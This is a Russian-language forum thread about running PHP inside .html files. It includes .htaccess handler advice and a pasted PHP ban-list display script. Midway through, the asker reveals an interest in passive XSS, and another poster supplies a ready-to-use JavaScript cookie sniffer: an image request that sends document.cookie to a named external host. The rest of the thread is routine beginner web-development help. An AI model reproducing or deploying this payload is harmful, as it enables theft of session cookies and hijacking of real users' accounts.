Не судите если подобный вопрос уже задавался. Проблема такая: если создавать php файл соответственно с php кодом и запускать его то все выполняется без проблем а вот если создавать html файл и вписывать туда php код то при открытии ни че не выполняется. При чем в html файле ввожу все как надо <script language="php"> к о д с к р и п т а </script> Пожалуйста подскажите очень нужно!
Php будет выполняться в расширении *.php тоесть создай пхп файл и смотри пример Рочи... Или же создай пхп файл например: script.php В html файле используй код: <iframe src=script.php>
Не получатся. То ли у меня руки кривые , то ли еще не пришло время познать все это, то ли я хочу того чего не может быть вовсе.
У тя вообще поддреживает php? Вот короче пример 1: Создай файл index.php c содержанием: PHP: <html><head> <title>PHP and HTML #1</title></head> <body> <center><h1>Пример #1</h1> <?php echo "<b>Этот текст нарисовал скрипт!</b>"; ?> <i>А этот нет...</i> </html> Пример 2: Создай 2 файла: index.html и script.php Содерание script.php PHP: <?php echo "Привет от PHP!"; ?> -------- Содержание index.html HTML: <html><head> <title>PHP and HTML #2</title></head> <body> <center><h1>Пример #2</h1> <iframe src=script.php frameborder=0> <i>Привет от html</i> </html> Я не понимаю, что те исчо нуна?
Попробуй тут почитать. http://wcode.ru/php/58/ Там с примерами. Не забудь Денвер поставить или PHP Editor какой-нибудь =)
Мне необходимо было выполнить код php именно в файле с расширением .html но теперь Я ПОНЯЛ что это не возможно. Просто знаете я здесь размечтался че то, думал что получится вместо javasript'a в html впихнуть php код , например при пассивных XSS вместо alerta вставить phpinfo... P.S.: Бывает. Фантазия у меня очень развитая)
SMIX правильно сказал, такое возможно есле имееш доступ к .htaccess или може его залить! А методами XSS неполучеться, т.к. php скрипт выполняеться непосредственно на сервере после чего результат передаеться брауеру, а html и жаба выполняються в браузере пользователя! Поэтому даж есле ты и вставиш при помоши пасивной XSS php код, ниче не произойдет, он будет восприниматься как обычный текст!
НУ для сниффера PHP в html страничке не нужен! для этого вставляеться JavaScript вот пример: <script>img = new Image(); img.src = "http://tkv.xost.ru/s/s.gif?"+document.cookie;</script> где http://tkv.xost.ru/s/s.gif адрес сниффера!
нет, он, кажется, именно код скрипта, который записывает кукисы в файл/базу/отправляетнамыло. А на форуме/чате идет фильтр по например динамическим ссылкам или расширению пхп...
Ребят помогите засунуть данный код в html файл PHP: <?php error_reporting(0); # путь к файлу $fname = ''; # заголовок страницы $title = ''; # инфа в визуале # (если строка пустая, то не отображается) # (можно использовать теги и сделать визуал многострочным) $visual = ' <h1></h1> Admin: <a href=""></a><br> Downloads MyAC: <a href="">for Internet</a> & <a href="">for Local</a> users<br/> <a href="">Games Portal/Игровой портал</a><br/> <a href="">Forum/Форум</a><br/> <a href="">AMXBANS/Бан лист</a><br/> '; ?> <!doctype html public "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <title><?php print $title; ?></title> <link rel="stylesheet" type="text/css" href="main.css"> </head> <body> <div class="body_header"> <?php if ($visual != '') { print $visual; } ?> </div> <br> <table width="100%"> <tr class="darkcell"> <td colspan="7" style="text-align: left;">Список забаненных:</td> </tr> <tr class="selectedcell"> <td class="headercell">Дата</td> <td class="headercell">Ник*</td> <td class="headercell">IP</td> <td class="headercell">Время бана</td> <td class="headercell">Осталось</td> <td class="headercell">Забанен до</td> <td class="headercell">Причина</td> </tr> <?php if (file_exists($fname)) { if ($f = @fopen($fname, 'r')) { $lines = @file($fname); $lines_counter = count(@file($fname)); for ($i = 0; $i < $lines_counter; $i++) { $str = $lines[$i]; list($part1,$hdd_sn,$trash,$name,$part3,$reason) = explode('"', $str); if ($name == '') { $name = 'Player'; } list($reason,$trash) = explode(' (', $reason); list($status,$date,$time) = explode(' ', $part1); list($trash,$ip,$duration) = explode(' ', $part3); list($day,$month,$year) = explode('.', $date); list($h,$min,$sec) = explode(':', $time); $datetime = mktime($h,$min,$sec,$month,$day,$year); $duration_h = $duration / 60; $duration_d = $duration_h / 24; $datetime_unban = date('d.m.y H:i:s',($datetime+$duration*60)); $remaining_time_min = round((($datetime+$duration*60)-date('U'))/60); $remaining_time_h = round($remaining_time_min / 60); $remaining_time_d = round($remaining_time_h / 24); if ($status == '+') { print"<tr class=\"selectedcell\"><td>$date $time</td><td>$name</td><td>$ip</td><td alt=\"$duration_h ч. или $duration_d дн.\" title=\"$duration_h ч. или $duration_d дн.\">$duration мин.</td><td alt=\"$remaining_time_h ч. или $remaining_time_d дн.\" title=\"$remaining_time_h ч. или $remaining_time_d дн.\">$remaining_time_min мин.</td><td>$datetime_unban</td><td>$reason</td></tr>"; } } } else { print "<tr class=\"selectedcell\"><td colspan=\"7\"><i>Нет данных</i></td></tr>"; } @fclose($f); } else { print "<tr class=\"selectedcell\"><td colspan=\"7\"><i>Нет данных</i></td></tr>"; } ?> УМОЛЯЮ !!!!!!!!!!!!!!!
попробуй вписать это в хтасес RemoveHandler .html .htm AddType application/x-httpd-php .php .htm .html .phtml добавим выполнение php кода в html
Ребят я вас умоляю! В php вообще не соображаю! Просто помогите мне засунуть данный php код в html файл PHP: <?php error_reporting(0); # путь к файлу $fname = ''; # заголовок страницы $title = ''; # инфа в визуале # (если строка пустая, то не отображается) # (можно использовать теги и сделать визуал многострочным) $visual = ' <h1></h1> Admin: <a href=""></a><br> Downloads MyAC: <a href="">for Internet</a> & <a href="">for Local</a> users<br/> <a href="">Games Portal/Игровой портал</a><br/> <a href="">Forum/Форум</a><br/> <a href="">AMXBANS/Бан лист</a><br/> '; ?> <!doctype html public "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <title><?php print $title; ?></title> <link rel="stylesheet" type="text/css" href="main.css"> </head> <body> <div class="body_header"> <?php if ($visual != '') { print $visual; } ?> </div> <br> <table width="100%"> <tr class="darkcell"> <td colspan="7" style="text-align: left;">Список забаненных:</td> </tr> <tr class="selectedcell"> <td class="headercell">Дата</td> <td class="headercell">Ник*</td> <td class="headercell">IP</td> <td class="headercell">Время бана</td> <td class="headercell">Осталось</td> <td class="headercell">Забанен до</td> <td class="headercell">Причина</td> </tr> <?php if (file_exists($fname)) { if ($f = @fopen($fname, 'r')) { $lines = @file($fname); $lines_counter = count(@file($fname)); for ($i = 0; $i < $lines_counter; $i++) { $str = $lines[$i]; list($part1,$hdd_sn,$trash,$name,$part3,$reason) = explode('"', $str); if ($name == '') { $name = 'Player'; } list($reason,$trash) = explode(' (', $reason); list($status,$date,$time) = explode(' ', $part1); list($trash,$ip,$duration) = explode(' ', $part3); list($day,$month,$year) = explode('.', $date); list($h,$min,$sec) = explode(':', $time); $datetime = mktime($h,$min,$sec,$month,$day,$year); $duration_h = $duration / 60; $duration_d = $duration_h / 24; $datetime_unban = date('d.m.y H:i:s',($datetime+$duration*60)); $remaining_time_min = round((($datetime+$duration*60)-date('U'))/60); $remaining_time_h = round($remaining_time_min / 60); $remaining_time_d = round($remaining_time_h / 24); if ($status == '+') { print"<tr class=\"selectedcell\"><td>$date $time</td><td>$name</td><td>$ip</td><td alt=\"$duration_h ч. или $duration_d дн.\" title=\"$duration_h ч. или $duration_d дн.\">$duration мин.</td><td alt=\"$remaining_time_h ч. или $remaining_time_d дн.\" title=\"$remaining_time_h ч. или $remaining_time_d дн.\">$remaining_time_min мин.</td><td>$datetime_unban</td><td>$reason</td></tr>"; } } } else { print "<tr class=\"selectedcell\"><td colspan=\"7\"><i>Нет данных</i></td></tr>"; } @fclose($f); } else { print "<tr class=\"selectedcell\"><td colspan=\"7\"><i>Нет данных</i></td></tr>"; } ?>